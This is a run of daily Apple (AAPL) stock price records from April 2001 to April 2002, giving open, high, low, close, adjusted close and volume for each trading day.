-2001-04-24,1.7378571033477783,1.7678571939468384,1.6792857646942139,1.716428518295288,1.4934660196304321,94284400.0,AAPL -2001-04-25,1.729285717010498,1.7757142782211304,1.683571457862854,1.7657142877578735,1.5363500118255615,82695200.0,AAPL -2001-04-26,1.7978571653366089,1.8642857074737549,1.76285719871521,1.7635713815689087,1.5344849824905396,199924200.0,AAPL -2001-04-27,1.7999999523162842,1.8778570890426636,1.7678571939468384,1.8714286088943481,1.6283316612243652,113253000.0,AAPL -2001-04-30,1.9071428775787354,1.9371428489685059,1.7764285802841187,1.8207142353057861,1.5842052698135376,123694200.0,AAPL -2001-05-01,1.815000057220459,1.8928571939468384,1.7999999523162842,1.8521428108215332,1.6115511655807495,106813000.0,AAPL -2001-05-02,1.881428599357605,1.9071428775787354,1.840000033378601,1.8992856740951538,1.652570366859436,92131200.0,AAPL -2001-05-03,1.8550000190734863,1.875,1.7664285898208618,1.7828571796417236,1.551265835762024,75385800.0,AAPL -2001-05-04,1.731428623199463,1.8464285135269165,1.7114285230636597,1.8392857313156128,1.600364327430725,70263200.0,AAPL -2001-05-07,1.8300000429153442,1.840000033378601,1.7742856740951538,1.7828571796417236,1.551265835762024,69137600.0,AAPL -2001-05-08,1.8107142448425293,1.8178571462631226,1.710714340209961,1.7549999952316284,1.5270272493362427,78859200.0,AAPL -2001-05-09,1.7242857217788696,1.7535713911056519,1.6907142400741577,1.7128571271896362,1.4903589487075806,81222400.0,AAPL -2001-05-10,1.729285717010498,1.75,1.639285683631897,1.6428571939468384,1.4294512271881104,72244200.0,AAPL -2001-05-11,1.643571376800537,1.6778571605682373,1.6257143020629883,1.6321429014205933,1.420129656791687,50761200.0,AAPL -2001-05-14,1.6349999904632568,1.691428542137146,1.625,1.6635714769363403,1.4474748373031616,77305200.0,AAPL -2001-05-15,1.6692856550216675,1.8214285373687744,1.645714282989502,1.6557142734527588,1.440638542175293,59256400.0,AAPL -2001-05-16,1.6614285707473755,1.75,1.6321429014205933,1.7214285135269165,1.4978166818618774,80582600.0,AAPL -2001-05-17,1.7307143211364746,1.7378571033477783,1.6607142686843872,1.6821428537368774,1.4636340141296387,83029800.0,AAPL -2001-05-18,1.6685714721679688,1.6885714530944824,1.6514285802841187,1.6807142496109009,1.4623910188674927,39762800.0,AAPL -2001-05-21,1.6878571510314941,1.7078571319580078,1.6464285850524902,1.6828571557998657,1.4642555713653564,115249400.0,AAPL -2001-05-22,1.7142857313156128,1.7235714197158813,1.6714285612106323,1.6785714626312256,1.4605265855789185,103229000.0,AAPL -2001-05-23,1.6964285373687744,1.6964285373687744,1.632857084274292,1.6592856645584106,1.4437460899353027,70260400.0,AAPL -2001-05-24,1.6635714769363403,1.664285659790039,1.6157143115997314,1.6571428775787354,1.4418818950653076,67939200.0,AAPL -2001-05-25,1.6571428775787354,1.6635714769363403,1.6071428060531616,1.6257143020629883,1.414535641670227,39685800.0,AAPL -2001-05-29,1.5942857265472412,1.6071428060531616,1.4864286184310913,1.533571481704712,1.3343620300292969,128997400.0,AAPL -2001-05-30,1.48285710811615,1.48285710811615,1.3785713911056519,1.412857174873352,1.2293281555175781,194269600.0,AAPL -2001-05-31,1.414285659790039,1.4457142353057861,1.39214289188385,1.4249999523162842,1.2398937940597534,110723200.0,AAPL -2001-06-01,1.4378571510314941,1.506428599357605,1.427142858505249,1.492142915725708,1.2983150482177734,114018800.0,AAPL -2001-06-04,1.5057142972946167,1.507857084274292,1.4614285230636597,1.4757143259048462,1.2840207815170288,70480200.0,AAPL -2001-06-05,1.485714316368103,1.5071429014205933,1.4535714387893677,1.4957143068313599,1.3014227151870728,117948600.0,AAPL -2001-06-06,1.4950000047683716,1.4950000047683716,1.4521428346633911,1.4807143211364746,1.288370966911316,55794200.0,AAPL -2001-06-07,1.479285717010498,1.5499999523162842,1.460714340209961,1.5471428632736206,1.346170425415039,81295200.0,AAPL -2001-06-08,1.5464285612106323,1.5464285612106323,1.479285717010498,1.5228571891784668,1.3250393867492676,85656200.0,AAPL -2001-06-11,1.5035713911056519,1.5049999952316284,1.4249999523162842,1.4314285516738892,1.2454874515533447,73500000.0,AAPL -2001-06-12,1.4121428728103638,1.4778571128845215,1.4114285707473755,1.4507142305374146,1.26226806640625,75948600.0,AAPL -2001-06-13,1.5299999713897705,1.552142858505249,1.4328571557998657,1.462142825126648,1.272212028503418,127871800.0,AAPL -2001-06-14,1.4314285516738892,1.460714340209961,1.4121428728103638,1.4199999570846558,1.235542893409729,74337200.0,AAPL -2001-06-15,1.4357142448425293,1.4821428060531616,1.3821429014205933,1.4600000381469727,1.270347237586975,113656200.0,AAPL -2001-06-18,1.4578571319580078,1.4892857074737549,1.4285714626312256,1.4521428346633911,1.263510823249817,86478000.0,AAPL -2001-06-19,1.4892857074737549,1.5285714864730835,1.4292857646942139,1.4421428442001343,1.254809856414795,80271800.0,AAPL -2001-06-20,1.4285714626312256,1.5607142448425293,1.427142858505249,1.5478571653366089,1.3467917442321777,107905000.0,AAPL -2001-06-21,1.539285659790039,1.6428571939468384,1.5071429014205933,1.606428623199463,1.3977549076080322,85332800.0,AAPL -2001-06-22,1.6057143211364746,1.6428571939468384,1.5542857646942139,1.590000033378601,1.3834604024887085,71506400.0,AAPL -2001-06-25,1.6071428060531616,1.7142857313156128,1.6035714149475098,1.7135714292526245,1.4909800291061401,109887400.0,AAPL -2001-06-26,1.6671428680419922,1.697857141494751,1.643571376800537,1.6964285373687744,1.4760642051696777,68195400.0,AAPL -2001-06-27,1.7021428346633911,1.7142857313156128,1.6071428060531616,1.6671428680419922,1.45058274269104,93532600.0,AAPL -2001-06-28,1.6464285850524902,1.7078571319580078,1.6385713815689087,1.6814285516738892,1.4630126953125,87102400.0,AAPL -2001-06-29,1.690000057220459,1.7928571701049805,1.6571428775787354,1.6607142686843872,1.4449890851974487,128847600.0,AAPL -2001-07-02,1.6885714530944824,1.7307143211364746,1.6528571844100952,1.7071428298950195,1.485386610031128,57512000.0,AAPL -2001-07-03,1.6792857646942139,1.7271428108215332,1.6785714626312256,1.7028571367263794,1.48165762424469,28135800.0,AAPL -2001-07-05,1.6857142448425293,1.697857141494751,1.643571376800537,1.656428575515747,1.4412600994110107,38073000.0,AAPL -2001-07-06,1.6257143020629883,1.6399999856948853,1.5514285564422607,1.5735714435577393,1.3691657781600952,75730200.0,AAPL -2001-07-09,1.5778571367263794,1.6428571939468384,1.5485714673995972,1.6214286088943481,1.41080641746521,84366800.0,AAPL -2001-07-10,1.639285683631897,1.6478571891784668,1.4885714054107666,1.5099999904632568,1.3138521909713745,98817600.0,AAPL -2001-07-11,1.5021429061889648,1.610714316368103,1.5,1.6100000143051147,1.400862693786621,117626600.0,AAPL -2001-07-12,1.664285659790039,1.7721428871154785,1.664285659790039,1.7400000095367432,1.5139753818511963,153700400.0,AAPL -2001-07-13,1.7235714197158813,1.7864285707473755,1.7028571367263794,1.774999976158142,1.5444291830062866,113685600.0,AAPL -2001-07-16,1.777142882347107,1.7928571701049805,1.7078571319580078,1.7114285230636597,1.4891154766082764,69666800.0,AAPL -2001-07-17,1.7128571271896362,1.8014285564422607,1.643571376800537,1.7928571701049805,1.5599664449691772,161957600.0,AAPL -2001-07-18,1.5557142496109009,1.6271429061889648,1.458571434020996,1.4850000143051147,1.2920998334884644,284253200.0,AAPL -2001-07-19,1.5164285898208618,1.5299999713897705,1.4107142686843872,1.4257142543792725,1.2405155897140503,215285000.0,AAPL -2001-07-20,1.4071428775787354,1.4328571557998657,1.39214289188385,1.427142858505249,1.2417582273483276,111146000.0,AAPL -2001-07-23,1.434999942779541,1.4642857313156128,1.393571376800537,1.395714282989502,1.2144123315811157,60340000.0,AAPL -2001-07-24,1.3849999904632568,1.4228571653366089,1.3378571271896362,1.3635714054107666,1.186444640159607,87094000.0,AAPL -2001-07-25,1.3657143115997314,1.3785713911056519,1.283571481704712,1.3192857503890991,1.147911548614502,110969600.0,AAPL -2001-07-26,1.3200000524520874,1.3428571224212646,1.274999976158142,1.3278571367263794,1.1553698778152466,92285200.0,AAPL -2001-07-27,1.3392857313156128,1.375,1.3214285373687744,1.354285717010498,1.178364872932434,83533800.0,AAPL -2001-07-30,1.3657143115997314,1.382857084274292,1.3221428394317627,1.3521428108215332,1.176500678062439,60839800.0,AAPL -2001-07-31,1.3764286041259766,1.3871428966522217,1.3221428394317627,1.3421428203582764,1.1677998304367065,58756600.0,AAPL -2001-08-01,1.35785710811615,1.412857174873352,1.3535714149475098,1.3614286184310913,1.184580683708191,76034000.0,AAPL -2001-08-02,1.4035714864730835,1.4192856550216675,1.3757143020629883,1.4157142639160156,1.2318140268325806,63022400.0,AAPL -2001-08-03,1.420714259147644,1.4214285612106323,1.3571428060531616,1.3928571939468384,1.2119262218475342,46513600.0,AAPL -2001-08-06,1.3600000143051147,1.4042856693267822,1.3571428060531616,1.3664286136627197,1.188930869102478,24913000.0,AAPL -2001-08-07,1.3807142972946167,1.4049999713897705,1.3557143211364746,1.375,1.1963889598846436,42137200.0,AAPL -2001-08-08,1.3757143020629883,1.4071428775787354,1.3242857456207275,1.350000023841858,1.1746363639831543,69042400.0,AAPL -2001-08-09,1.354285717010498,1.3678570985794067,1.337142825126648,1.360714316368103,1.1839585304260254,50166200.0,AAPL -2001-08-10,1.3600000143051147,1.3799999952316284,1.3278571367263794,1.3585714101791382,1.182094693183899,46740400.0,AAPL -2001-08-13,1.3642857074737549,1.3807142972946167,1.340000033378601,1.3635714054107666,1.186444640159607,36999200.0,AAPL -2001-08-14,1.3714286088943481,1.382857084274292,1.333571434020996,1.3378571271896362,1.1640708446502686,57237600.0,AAPL -2001-08-15,1.340000033378601,1.3528571128845215,1.2999999523162842,1.3171428442001343,1.146047592163086,72319800.0,AAPL -2001-08-16,1.3049999475479126,1.3392857313156128,1.283571481704712,1.3321428298950195,1.159098505973816,72023000.0,AAPL -2001-08-17,1.2857142686843872,1.3178571462631226,1.284999966621399,1.2907142639160156,1.1230518817901611,52106600.0,AAPL -2001-08-20,1.295714259147644,1.302142858505249,1.2721428871154785,1.2942856550216675,1.1261591911315918,63075600.0,AAPL -2001-08-21,1.295714259147644,1.295714259147644,1.264285683631897,1.2799999713897705,1.1137293577194214,46425400.0,AAPL -2001-08-22,1.281428575515747,1.3035714626312256,1.257857084274292,1.3007142543792725,1.1317527294158936,43493800.0,AAPL -2001-08-23,1.2999999523162842,1.309999942779541,1.2557142972946167,1.2721428871154785,1.106892704963684,54269600.0,AAPL -2001-08-24,1.2857142686843872,1.3300000429153442,1.2607142925262451,1.3264285326004028,1.1541268825531006,72583000.0,AAPL -2001-08-27,1.3285714387893677,1.3785713911056519,1.2971428632736206,1.3514286279678345,1.175879716873169,43911000.0,AAPL -2001-08-28,1.350000023841858,1.367142915725708,1.3142857551574707,1.3142857551574707,1.1435613632202148,42933800.0,AAPL -2001-08-29,1.3171428442001343,1.3450000286102295,1.2735713720321655,1.2735713720321655,1.1081355810165405,59992800.0,AAPL -2001-08-30,1.26714289188385,1.2985714673995972,1.2342857122421265,1.2735713720321655,1.1081355810165405,92173200.0,AAPL -2001-08-31,1.2664285898208618,1.3285714387893677,1.2607142925262451,1.3250000476837158,1.1528836488723755,54226200.0,AAPL -2001-09-04,1.3214285373687744,1.3628571033477783,1.2985714673995972,1.3035714626312256,1.134238839149475,87053400.0,AAPL -2001-09-05,1.3028571605682373,1.3535714149475098,1.2942856550216675,1.3250000476837158,1.1528836488723755,90014400.0,AAPL -2001-09-06,1.3142857551574707,1.3521428108215332,1.2607142925262451,1.2657142877578735,1.1012991666793823,70592200.0,AAPL -2001-09-07,1.25,1.2928571701049805,1.2285714149475098,1.2342857122421265,1.0739532709121704,60457600.0,AAPL -2001-09-10,1.2142857313156128,1.25,1.208571434020996,1.2407143115997314,1.0795468091964722,77211400.0,AAPL -2001-09-17,1.1428571939468384,1.2192857265472412,1.1235713958740234,1.2135714292526245,1.0559297800064087,114501800.0,AAPL -2001-09-18,1.2071428298950195,1.2657142877578735,1.1549999713897705,1.162857174873352,1.0118030309677124,81775400.0,AAPL -2001-09-19,1.1785714626312256,1.2214285135269165,1.1142857074737549,1.2157143354415894,1.0577943325042725,93329600.0,AAPL -2001-09-20,1.1635714769363403,1.210714340209961,1.1071428060531616,1.1200000047683716,0.9745131134986877,102793600.0,AAPL -2001-09-21,1.0571428537368774,1.1607142686843872,1.0485714673995972,1.1235713958740234,0.9776201844215393,142629200.0,AAPL -2001-09-24,1.1507142782211304,1.2028571367263794,1.139285683631897,1.1749999523162842,1.0223687887191772,73634400.0,AAPL -2001-09-25,1.1528571844100952,1.158571481704712,1.0964285135269165,1.1100000143051147,0.9658122062683105,93601200.0,AAPL -2001-09-26,1.1292856931686401,1.1349999904632568,1.066428542137146,1.0821428298950195,0.941573441028595,123449200.0,AAPL -2001-09-27,1.0892857313156128,1.125,1.085714340209961,1.10785710811615,0.9639474749565125,80560200.0,AAPL -2001-09-28,1.1221429109573364,1.1364285945892334,1.0992857217788696,1.10785710811615,0.9639474749565125,91277200.0,AAPL -2001-10-01,1.106428623199463,1.14214289188385,1.0878571271896362,1.1100000143051147,0.9658122062683105,52052000.0,AAPL -2001-10-02,1.1021428108215332,1.1307142972946167,1.0628571510314941,1.0750000476837158,0.9353584051132202,58970800.0,AAPL -2001-10-03,1.0678571462631226,1.0971428155899048,1.0592857599258423,1.0700000524520874,0.931007981300354,170760800.0,AAPL -2001-10-04,1.0964285135269165,1.1607142686843872,1.0707142353057861,1.1342856884002686,0.9869431257247925,100280600.0,AAPL -2001-10-05,1.100000023841858,1.1535714864730835,1.0707142353057861,1.1528571844100952,1.0031020641326904,85671600.0,AAPL -2001-10-08,1.11214280128479,1.1678571701049805,1.1071428060531616,1.1571428775787354,1.006831169128418,51996000.0,AAPL -2001-10-09,1.1464285850524902,1.1571428775787354,1.1164286136627197,1.1428571939468384,0.9944009780883789,43506400.0,AAPL -2001-10-10,1.149999976158142,1.2035714387893677,1.139285683631897,1.2014285326004028,1.0453641414642334,76939800.0,AAPL -2001-10-11,1.208571434020996,1.26714289188385,1.2035714387893677,1.26714289188385,1.1025421619415283,83540800.0,AAPL -2001-10-12,1.2364286184310913,1.291428565979004,1.204285740852356,1.2864285707473755,1.119322657585144,71953000.0,AAPL -2001-10-15,1.2821428775787354,1.3128571510314941,1.2821428775787354,1.284999966621399,1.118079662322998,79688000.0,AAPL -2001-10-16,1.2921428680419922,1.2999999523162842,1.2692856788635254,1.2864285707473755,1.119322657585144,50737400.0,AAPL -2001-10-17,1.309999942779541,1.315000057220459,1.2114285230636597,1.2135714292526245,1.0559297800064087,71384600.0,AAPL -2001-10-18,1.2350000143051147,1.302142858505249,1.2350000143051147,1.2857142686843872,1.1187011003494263,153143200.0,AAPL -2001-10-19,1.281428575515747,1.3142857551574707,1.277142882347107,1.3071428537368774,1.1373462677001953,41697600.0,AAPL -2001-10-22,1.3007142543792725,1.36214280128479,1.2921428680419922,1.3585714101791382,1.182094693183899,97984600.0,AAPL -2001-10-23,1.3657143115997314,1.3871428966522217,1.2764285802841187,1.295714259147644,1.1274019479751587,171245200.0,AAPL -2001-10-24,1.2899999618530273,1.3635714054107666,1.2678571939468384,1.3535714149475098,1.177743673324585,93606800.0,AAPL -2001-10-25,1.3171428442001343,1.375,1.2971428632736206,1.3707143068313599,1.192659854888916,63737800.0,AAPL -2001-10-26,1.3471428155899048,1.375,1.3300000429153442,1.333571434020996,1.1603418588638306,69741000.0,AAPL -2001-10-29,1.3264285326004028,1.333571434020996,1.2571429014205933,1.2592856884002686,1.095705509185791,59795400.0,AAPL -2001-10-30,1.2414286136627197,1.2857142686843872,1.218571424484253,1.2571429014205933,1.0938411951065063,69190800.0,AAPL -2001-10-31,1.2664285898208618,1.3142857551574707,1.2457143068313599,1.2542856931686401,1.0913552045822144,68437600.0,AAPL -2001-11-01,1.2607142925262451,1.341428518295288,1.2321428060531616,1.3278571367263794,1.1553698778152466,78248800.0,AAPL -2001-11-02,1.322857141494751,1.3471428155899048,1.2971428632736206,1.3264285326004028,1.1541268825531006,49301000.0,AAPL -2001-11-05,1.3457143306732178,1.375,1.329285740852356,1.36214280128479,1.185201644897461,58948400.0,AAPL -2001-11-06,1.354285717010498,1.4014285802841187,1.3235714435577393,1.3978571891784668,1.2162768840789795,79004800.0,AAPL -2001-11-07,1.3899999856948853,1.4378571510314941,1.3807142972946167,1.3992856740951538,1.217519760131836,95747400.0,AAPL -2001-11-08,1.402142882347107,1.420714259147644,1.3264285326004028,1.3364285230636597,1.1628276109695435,85535800.0,AAPL -2001-11-09,1.3285714387893677,1.375,1.3250000476837158,1.3364285230636597,1.1628276109695435,33573400.0,AAPL -2001-11-12,1.3328571319580078,1.3692857027053833,1.2828571796417236,1.3392857313156128,1.165313959121704,50374800.0,AAPL -2001-11-13,1.3628571033477783,1.3849999904632568,1.3364285230636597,1.3835713863372803,1.2038466930389404,56168000.0,AAPL -2001-11-14,1.3992856740951538,1.4214285612106323,1.3678570985794067,1.4007142782211304,1.218762993812561,55287400.0,AAPL -2001-11-15,1.389285683631897,1.4214285612106323,1.3735713958740234,1.389285683631897,1.2088185548782349,53257400.0,AAPL -2001-11-16,1.3764286041259766,1.3778570890426636,1.3142857551574707,1.3550000190734863,1.1789871454238892,57666000.0,AAPL -2001-11-19,1.3571428060531616,1.4321428537368774,1.354285717010498,1.4285714626312256,1.2430016994476318,83147400.0,AAPL -2001-11-20,1.4157142639160156,1.4428571462631226,1.3928571939468384,1.3949999809265137,1.213790774345398,69146000.0,AAPL -2001-11-21,1.4007142782211304,1.414285659790039,1.3757143020629883,1.4057142734527588,1.2231131792068481,50395800.0,AAPL -2001-11-23,1.4078571796417236,1.4249999523162842,1.3978571891784668,1.4171428680419922,1.2330574989318848,15001000.0,AAPL -2001-11-26,1.4242857694625854,1.539285659790039,1.4199999570846558,1.5264285802841187,1.3281469345092773,115172400.0,AAPL -2001-11-27,1.514285683631897,1.5371428728103638,1.4642857313156128,1.5,1.305151343345642,67138400.0,AAPL -2001-11-28,1.4892857074737549,1.5149999856948853,1.4578571319580078,1.466428518295288,1.2759408950805664,62652800.0,AAPL -2001-11-29,1.4714285135269165,1.4785714149475098,1.4421428442001343,1.458571434020996,1.2691043615341187,50691200.0,AAPL -2001-11-30,1.462142825126648,1.531428575515747,1.4464285373687744,1.5214285850524902,1.3237965106964111,75978000.0,AAPL -2001-12-03,1.5042856931686401,1.5199999809265137,1.4714285135269165,1.5035713911056519,1.3082588911056519,45291400.0,AAPL -2001-12-04,1.5035713911056519,1.6114286184310913,1.4800000190734863,1.600000023841858,1.3921616077423096,95104800.0,AAPL -2001-12-05,1.5971428155899048,1.716428518295288,1.583571434020996,1.6971428394317627,1.4766857624053955,142144800.0,AAPL -2001-12-06,1.677142858505249,1.6785714626312256,1.5814285278320312,1.6271429061889648,1.415778398513794,84733600.0,AAPL -2001-12-07,1.604285717010498,1.6221429109573364,1.5714285373687744,1.6100000143051147,1.400862693786621,50878800.0,AAPL -2001-12-10,1.5921428203582764,1.64214289188385,1.5878571271896362,1.6100000143051147,1.400862693786621,42502600.0,AAPL -2001-12-11,1.6192857027053833,1.6321429014205933,1.5464285612106323,1.5557142496109009,1.3536285161972046,51368800.0,AAPL -2001-12-12,1.5621428489685059,1.5657142400741577,1.5178571939468384,1.534999966621399,1.3356046676635742,48115200.0,AAPL -2001-12-13,1.534999966621399,1.539285659790039,1.4642857313156128,1.5,1.305151343345642,49460600.0,AAPL -2001-12-14,1.4807143211364746,1.4878571033477783,1.434999942779541,1.4564285278320312,1.2672399282455444,47471200.0,AAPL -2001-12-17,1.4571428298950195,1.5,1.4421428442001343,1.472857117652893,1.2815343141555786,43428000.0,AAPL -2001-12-18,1.492142915725708,1.5235713720321655,1.4442857503890991,1.5007143020629883,1.3057727813720703,58809800.0,AAPL -2001-12-19,1.4700000286102295,1.5485714673995972,1.462142825126648,1.5442856550216675,1.343684196472168,72489200.0,AAPL -2001-12-20,1.5285714864730835,1.533571481704712,1.472857117652893,1.4764286279678345,1.2846418619155884,55216000.0,AAPL -2001-12-21,1.5007143020629883,1.5385714769363403,1.485714316368103,1.5,1.305151343345642,64083600.0,AAPL -2001-12-24,1.4928570985794067,1.5321428775787354,1.4928570985794067,1.5257142782211304,1.32752525806427,12657400.0,AAPL -2001-12-26,1.524999976158142,1.5928571224212646,1.5099999904632568,1.534999966621399,1.3356046676635742,36600200.0,AAPL -2001-12-27,1.541428565979004,1.5892857313156128,1.541428565979004,1.5764285326004028,1.3716521263122559,47877200.0,AAPL -2001-12-28,1.5692857503890991,1.6428571939468384,1.5685714483261108,1.6021428108215332,1.3940260410308838,74781000.0,AAPL -2001-12-31,1.60785710811615,1.618571400642395,1.5592857599258423,1.5642857551574707,1.361086368560791,34445600.0,AAPL -2002-01-02,1.5750000476837158,1.664285659790039,1.5685714483261108,1.664285659790039,1.4480966329574585,132374200.0,AAPL -2002-01-03,1.6428571939468384,1.6964285373687744,1.6264286041259766,1.6842857599258423,1.4654990434646606,153001800.0,AAPL -2002-01-04,1.6671428680419922,1.710714340209961,1.64214289188385,1.6921428442001343,1.4723351001739502,102494000.0,AAPL -2002-01-07,1.6942857503890991,1.7142857313156128,1.625,1.6357142925262451,1.4232368469238281,111146000.0,AAPL -2002-01-08,1.625,1.6464285850524902,1.604285717010498,1.6150000095367432,1.4052131175994873,112509600.0,AAPL -2002-01-09,1.6285713911056519,1.63785719871521,1.5199999809265137,1.5464285612106323,1.3455485105514526,81958800.0,AAPL -2002-01-10,1.5157142877578735,1.5328571796417236,1.4464285373687744,1.5164285898208618,1.3194459676742554,113184400.0,AAPL -2002-01-11,1.5278571844100952,1.559999942779541,1.4714285135269165,1.5035713911056519,1.3082588911056519,87200400.0,AAPL -2002-01-14,1.5007143020629883,1.5285714864730835,1.4928570985794067,1.5107142925262451,1.3144738674163818,103999000.0,AAPL -2002-01-15,1.5228571891784668,1.5542857646942139,1.5149999856948853,1.5499999523162842,1.348656177520752,72580200.0,AAPL -2002-01-16,1.5292856693267822,1.5292856693267822,1.4642857313156128,1.4842857122421265,1.2914783954620361,141723400.0,AAPL -2002-01-17,1.5685714483261108,1.6242856979370117,1.5621428489685059,1.6057143211364746,1.3971331119537354,165144000.0,AAPL -2002-01-18,1.5714285373687744,1.6142857074737549,1.5685714483261108,1.583571434020996,1.3778669834136963,84702800.0,AAPL -2002-01-22,1.5907143354415894,1.597857117652893,1.558571457862854,1.558571457862854,1.3561146259307861,81828600.0,AAPL -2002-01-23,1.5571428537368774,1.645714282989502,1.5421428680419922,1.6442856788635254,1.4306944608688354,110819800.0,AAPL -2002-01-24,1.6364285945892334,1.6792857646942139,1.6357142925262451,1.6578571796417236,1.4425030946731567,86000600.0,AAPL -2002-01-25,1.6349999904632568,1.6728571653366089,1.618571400642395,1.6607142686843872,1.4449890851974487,46478600.0,AAPL -2002-01-28,1.6714285612106323,1.6821428537368774,1.6228570938110352,1.6621428728103638,1.4462320804595947,46611600.0,AAPL -2002-01-29,1.658571481704712,1.6814285516738892,1.6321429014205933,1.6478571891784668,1.4338021278381348,60081000.0,AAPL -2002-01-30,1.6478571891784668,1.7242857217788696,1.6385713815689087,1.7207143306732178,1.4971953630447388,117894000.0,AAPL -2002-01-31,1.7257143259048462,1.7664285898208618,1.7221428155899048,1.7657142877578735,1.5363500118255615,117111400.0,AAPL -2002-02-01,1.7385714054107666,1.7828571796417236,1.7385714054107666,1.743571400642395,1.5170831680297852,99576400.0,AAPL -2002-02-04,1.73714280128479,1.822857141494751,1.7285714149475098,1.8107142448425293,1.575503945350647,130593400.0,AAPL -2002-02-05,1.7921428680419922,1.8557143211364746,1.791428565979004,1.8178571462631226,1.5817196369171143,114221800.0,AAPL -2002-02-06,1.8285714387893677,1.8557143211364746,1.725000023841858,1.7621428966522217,1.5332422256469727,149394000.0,AAPL -2002-02-07,1.7607142925262451,1.8064285516738892,1.7200000286102295,1.735714316368103,1.510246753692627,86958200.0,AAPL -2002-02-08,1.7428570985794067,1.7599999904632568,1.6692856550216675,1.716428518295288,1.4934660196304321,88832800.0,AAPL -2002-02-11,1.7092857360839844,1.7857142686843872,1.6957142353057861,1.7842856645584106,1.5525085926055908,99650600.0,AAPL -2002-02-12,1.7614285945892334,1.7885714769363403,1.7464286088943481,1.7649999856948853,1.5357282161712646,56070000.0,AAPL -2002-02-13,1.7664285898208618,1.8028571605682373,1.7607142925262451,1.7864285707473755,1.5543729066848755,78218000.0,AAPL -2002-02-14,1.789285659790039,1.802142858505249,1.7414286136627197,1.7571429014205933,1.5288915634155273,65042600.0,AAPL -2002-02-15,1.7521429061889648,1.7842856645584106,1.7035714387893677,1.7071428298950195,1.485386610031128,65046800.0,AAPL -2002-02-19,1.6971428394317627,1.7050000429153442,1.6057143211364746,1.6157143115997314,1.405834674835205,97564600.0,AAPL -2002-02-20,1.6264286041259766,1.6571428775787354,1.5964285135269165,1.652142882347107,1.4375309944152832,71360800.0,AAPL -2002-02-21,1.6371428966522217,1.6428571939468384,1.5321428775787354,1.5357142686843872,1.3362265825271606,111687800.0,AAPL -2002-02-22,1.5471428632736206,1.639285683631897,1.5357142686843872,1.6242856979370117,1.413292407989502,101619000.0,AAPL -2002-02-25,1.6321429014205933,1.7657142877578735,1.5971428155899048,1.7007142305374146,1.479792833328247,106712200.0,AAPL -2002-02-26,1.7078571319580078,1.7407143115997314,1.6607142686843872,1.6907142400741577,1.4710919857025146,65032800.0,AAPL -2002-02-27,1.7100000381469727,1.7321428060531616,1.4957143068313599,1.5685714483261108,1.364815592765808,257539800.0,AAPL -2002-02-28,1.5821428298950195,1.6135714054107666,1.524999976158142,1.5499999523162842,1.348656177520752,114234400.0,AAPL -2002-03-01,1.566428542137146,1.6785714626312256,1.558571457862854,1.6749999523162842,1.4574192762374878,87248000.0,AAPL -2002-03-04,1.6614285707473755,1.7557142972946167,1.6257143020629883,1.7350000143051147,1.5096251964569092,87064600.0,AAPL -2002-03-05,1.725000023841858,1.7450000047683716,1.6714285612106323,1.6807142496109009,1.4623910188674927,68675600.0,AAPL -2002-03-06,1.677142858505249,1.7385714054107666,1.63785719871521,1.7192857265472412,1.4959521293640137,56551600.0,AAPL -2002-03-07,1.718571424484253,1.7521429061889648,1.6864285469055176,1.7414286136627197,1.5152184963226318,64562400.0,AAPL -2002-03-08,1.76714289188385,1.7921428680419922,1.735714316368103,1.7614285945892334,1.532620906829834,67443600.0,AAPL -2002-03-11,1.7571429014205933,1.795714259147644,1.7214285135269165,1.7899999618530273,1.557480812072754,65696400.0,AAPL -2002-03-12,1.7507143020629883,1.76714289188385,1.7214285135269165,1.7657142877578735,1.5363500118255615,63513800.0,AAPL -2002-03-13,1.7407143115997314,1.774999976158142,1.725000023841858,1.7492856979370117,1.5220551490783691,50191400.0,AAPL -2002-03-14,1.735714316368103,1.7571429014205933,1.7050000429153442,1.7450000047683716,1.5183260440826416,54324200.0,AAPL -2002-03-15,1.7471429109573364,1.7828571796417236,1.7321428060531616,1.7821428775787354,1.5506441593170166,60225200.0,AAPL -2002-03-18,1.7821428775787354,1.789285659790039,1.73714280128479,1.76714289188385,1.5375924110412598,76139000.0,AAPL -2002-03-19,1.7635713815689087,1.8071428537368774,1.735714316368103,1.774999976158142,1.5444291830062866,60586400.0,AAPL -2002-03-20,1.7614285945892334,1.795714259147644,1.75,1.7799999713897705,1.5487794876098633,73579800.0,AAPL -2002-03-21,1.704285740852356,1.735714316368103,1.6614285707473755,1.7335714101791382,1.5083818435668945,154088200.0,AAPL -2002-03-22,1.7300000190734863,1.7542856931686401,1.7050000429153442,1.7207143306732178,1.4971953630447388,50548400.0,AAPL -2002-03-25,1.7192857265472412,1.7207143306732178,1.659999966621399,1.6678571701049805,1.4512040615081787,65707600.0,AAPL -2002-03-26,1.6571428775787354,1.6885714530944824,1.6428571939468384,1.6757142543792725,1.4580405950546265,64460200.0,AAPL -2002-03-27,1.6678571701049805,1.6942857503890991,1.6614285707473755,1.6764285564422607,1.4586620330810547,31925600.0,AAPL -2002-03-28,1.6928571462631226,1.7057143449783325,1.6757142543792725,1.6907142400741577,1.4710919857025146,27113800.0,AAPL -2002-04-01,1.6699999570846558,1.764285683631897,1.662857174873352,1.7471429109573364,1.5201905965805054,49761600.0,AAPL -2002-04-02,1.7142857313156128,1.735714316368103,1.7050000429153442,1.7192857265472412,1.4959521293640137,50948800.0,AAPL -2002-04-03,1.7178571224212646,1.7492856979370117,1.6857142448425293,1.6964285373687744,1.4760642051696777,53632600.0,AAPL -2002-04-04,1.6907142400741577,1.789285659790039,1.6907142400741577,1.7785714864730835,1.5475367307662964,84624400.0,AAPL -2002-04-05,1.7821428775787354,1.7992857694625854,1.7214285135269165,1.76714289188385,1.5375924110412598,69587000.0,AAPL -2002-04-08,1.7257143259048462,1.76285719871521,1.6985714435577393,1.7542856931686401,1.5264058113098145,65378600.0,AAPL -2002-04-09,1.756428599357605,1.7857142686843872,1.715000033378601,1.7214285135269165,1.4978166818618774,47882800.0,AAPL -2002-04-10,1.729285717010498,1.7821428775787354,1.715000033378601,1.7614285945892334,1.532620906829834,56245000.0,AAPL -2002-04-11,1.787857174873352,1.7999999523162842,1.7678571939468384,1.7757142782211304,1.5450506210327148,101813600.0,AAPL -2002-04-12,1.7864285707473755,1.7978571653366089,1.7549999952316284,1.7899999618530273,1.557480812072754,80060400.0,AAPL -2002-04-15,1.7899999618530273,1.7964285612106323,1.7714285850524902,1.7857142686843872,1.5537514686584473,74842600.0,AAPL -2002-04-16,1.7964285612106323,1.856428623199463,1.7942856550216675,1.8385714292526245,1.5997426509857178,153644400.0,AAPL -2002-04-17,1.8521428108215332,1.8692857027053833,1.8128571510314941,1.8650000095367432,1.6227383613586426,99062600.0,AAPL 